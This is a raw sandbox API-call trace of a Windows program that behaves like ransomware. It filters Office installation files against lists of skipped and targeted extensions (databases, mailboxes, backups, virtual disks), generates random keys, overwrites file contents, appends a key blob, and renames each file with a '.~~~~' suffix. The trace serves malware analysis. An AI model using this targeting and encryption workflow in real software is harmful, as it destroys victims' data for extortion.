	[0135.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.610] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25560025810) returned 1
	[0135.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba45f150, dwHighDateTime=0x1d60e1e)) 
	[0135.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4a18
	[0135.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4a18 | out: hHeap=0x300000) returned 1
	[0135.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5378
	[0135.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.611] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.611] GetLastError () returned 0x0
	[0135.612] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.612] GetLastError () returned 0x0
	[0135.657] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffff9e80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.657] WriteFile (in: hFile=0x108, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x6180, lpOverlapped=0x0) returned 1
	[0135.657] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0135.657] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.657] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.658] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.658] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.658] CloseHandle (hObject=0x108) returned 1
	[0135.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0135.658] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.~~~~")) returned 1
	[0135.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.662] GetLastError () returned 0x0
	[0135.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".scr") returned 0x0
	[0135.662] lstrlenW (lpString=".cmd") returned 4
	[0135.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".cmd") returned 0x0
	[0135.662] lstrlenW (lpString=".dll") returned 4
	[0135.662] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dll") returned 0x0
	[0135.662] lstrlenW (lpString=".bat") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".bat") returned 0x0
	[0135.663] lstrlenW (lpString=".cpl") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".cpl") returned 0x0
	[0135.663] lstrlenW (lpString=".sys") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".sys") returned 0x0
	[0135.663] lstrlenW (lpString=".msc") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".msc") returned 0x0
	[0135.663] lstrlenW (lpString=".com") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".com") returned 0x0
	[0135.663] lstrlenW (lpString=".lnk") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".lnk") returned 0x0
	[0135.663] lstrlenW (lpString=".msp") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".msp") returned 0x0
	[0135.663] lstrlenW (lpString=".pif") returned 4
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".pif") returned 0x0
	[0135.663] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.663] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch="msp\r\n.pif") returned 0x0
	[0135.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0135.665] lstrlenW (lpString=".sqb") returned 4
	[0135.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".sqb") returned 0x0
	[0135.665] lstrlenW (lpString=".ost") returned 4
	[0135.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".ost") returned 0x0
	[0135.665] lstrlenW (lpString=".txt") returned 4
	[0135.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".txt") returned 0x0
	[0135.665] lstrlenW (lpString=".mdt") returned 4
	[0135.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".mdt") returned 0x0
	[0135.665] lstrlenW (lpString=".BDB") returned 4
	[0135.665] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".BDB") returned 0x0
	[0135.665] lstrlenW (lpString=".eql") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".eql") returned 0x0
	[0135.666] lstrlenW (lpString=".DBF") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DBF") returned 0x0
	[0135.666] lstrlenW (lpString=".EQL") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".EQL") returned 0x0
	[0135.666] lstrlenW (lpString=".FDB") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".FDB") returned 0x0
	[0135.666] lstrlenW (lpString=".EDB") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".EDB") returned 0x0
	[0135.666] lstrlenW (lpString=".DACPAC") returned 7
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DACPAC") returned 0x0
	[0135.666] lstrlenW (lpString=".VHD") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".VHD") returned 0x0
	[0135.666] lstrlenW (lpString=".DBV") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DBV") returned 0x0
	[0135.666] lstrlenW (lpString=".dacpac") returned 7
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dacpac") returned 0x0
	[0135.666] lstrlenW (lpString=".sdf") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".sdf") returned 0x0
	[0135.666] lstrlenW (lpString=".accdb") returned 6
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".accdb") returned 0x0
	[0135.666] lstrlenW (lpString=".DBX") returned 4
	[0135.666] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DBX") returned 0x0
	[0135.666] lstrlenW (lpString=".MDT") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".MDT") returned 0x0
	[0135.667] lstrlenW (lpString=".SQB") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".SQB") returned 0x0
	[0135.667] lstrlenW (lpString=".vhd") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".vhd") returned 0x0
	[0135.667] lstrlenW (lpString=".bac") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".bac") returned 0x0
	[0135.667] lstrlenW (lpString=".mdf") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".mdf") returned 0x0
	[0135.667] lstrlenW (lpString=".BAK") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".BAK") returned 0x0
	[0135.667] lstrlenW (lpString=".BAC") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".BAC") returned 0x0
	[0135.667] lstrlenW (lpString=".dbs") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dbs") returned 0x0
	[0135.667] lstrlenW (lpString=".vhdx") returned 5
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".vhdx") returned 0x0
	[0135.667] lstrlenW (lpString=".NDF") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".NDF") returned 0x0
	[0135.667] lstrlenW (lpString=".dat") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dat") returned 0x0
	[0135.667] lstrlenW (lpString=".DBS") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DBS") returned 0x0
	[0135.667] lstrlenW (lpString=".CKP") returned 4
	[0135.667] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".CKP") returned 0x0
	[0135.667] lstrlenW (lpString=".edb") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".edb") returned 0x0
	[0135.668] lstrlenW (lpString=".PST") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".PST") returned 0x0
	[0135.668] lstrlenW (lpString=".dbf") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dbf") returned 0x0
	[0135.668] lstrlenW (lpString=".SQL") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".SQL") returned 0x0
	[0135.668] lstrlenW (lpString=".pst") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".pst") returned 0x0
	[0135.668] lstrlenW (lpString=".dbv") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dbv") returned 0x0
	[0135.668] lstrlenW (lpString=".SDF") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".SDF") returned 0x0
	[0135.668] lstrlenW (lpString=".dtxs") returned 5
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dtxs") returned 0x0
	[0135.668] lstrlenW (lpString=".db3") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".db3") returned 0x0
	[0135.668] lstrlenW (lpString=".OST") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".OST") returned 0x0
	[0135.668] lstrlenW (lpString=".dbx") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dbx") returned 0x0
	[0135.668] lstrlenW (lpString=".DB3") returned 4
	[0135.668] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DB3") returned 0x0
	[0135.669] lstrlenW (lpString=".DAT") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DAT") returned 0x0
	[0135.669] lstrlenW (lpString=".VHDX") returned 5
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".VHDX") returned 0x0
	[0135.669] lstrlenW (lpString=".ndf") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".ndf") returned 0x0
	[0135.669] lstrlenW (lpString=".DB") returned 3
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DB") returned 0x0
	[0135.669] lstrlenW (lpString=".sql") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".sql") returned 0x0
	[0135.669] lstrlenW (lpString=".MYD") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".MYD") returned 0x0
	[0135.669] lstrlenW (lpString=".DBT") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DBT") returned 0x0
	[0135.669] lstrlenW (lpString=".ACCDB") returned 6
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".ACCDB") returned 0x0
	[0135.669] lstrlenW (lpString=".fdb") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".fdb") returned 0x0
	[0135.669] lstrlenW (lpString=".bak") returned 4
	[0135.669] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".bak") returned 0x0
	[0135.669] lstrlenW (lpString=".myd") returned 4
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".myd") returned 0x0
	[0135.670] lstrlenW (lpString=".DTXS") returned 5
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".DTXS") returned 0x0
	[0135.670] lstrlenW (lpString=".ckp") returned 4
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".ckp") returned 0x0
	[0135.670] lstrlenW (lpString=".dbt") returned 4
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".dbt") returned 0x0
	[0135.670] lstrlenW (lpString=".db") returned 3
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".db") returned 0x0
	[0135.670] lstrlenW (lpString=".TXT") returned 4
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".TXT") returned 0x0
	[0135.670] lstrlenW (lpString=".MDF") returned 4
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".MDF") returned 0x0
	[0135.670] lstrlenW (lpString=".bdb") returned 4
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".bdb") returned 0x0
	[0135.670] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.670] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.671] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0620) returned 1
	[0135.672] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.672] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.673] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25566286770) returned 1
	[0135.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba4f76d0, dwHighDateTime=0x1d60e1e)) 
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4970
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4970 | out: hHeap=0x300000) returned 1
	[0135.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.673] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8398
	[0135.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.674] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.674] GetLastError () returned 0x0
	[0135.674] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.674] GetLastError () returned 0x0
	[0135.703] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.703] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.703] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.704] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.707] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.707] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.707] CloseHandle (hObject=0x108) returned 1
	[0135.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5838
	[0135.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONGuide.onepkg.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onguide.onepkg.~~~~")) returned 1
	[0135.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5838 | out: hHeap=0x300000) returned 1
	[0135.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.710] GetLastError () returned 0x0
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0135.711] lstrlenW (lpString=".cmd") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0135.711] lstrlenW (lpString=".dll") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0135.711] lstrlenW (lpString=".bat") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0135.711] lstrlenW (lpString=".cpl") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0135.711] lstrlenW (lpString=".sys") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0135.711] lstrlenW (lpString=".msc") returned 4
	[0135.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0135.711] lstrlenW (lpString=".com") returned 4
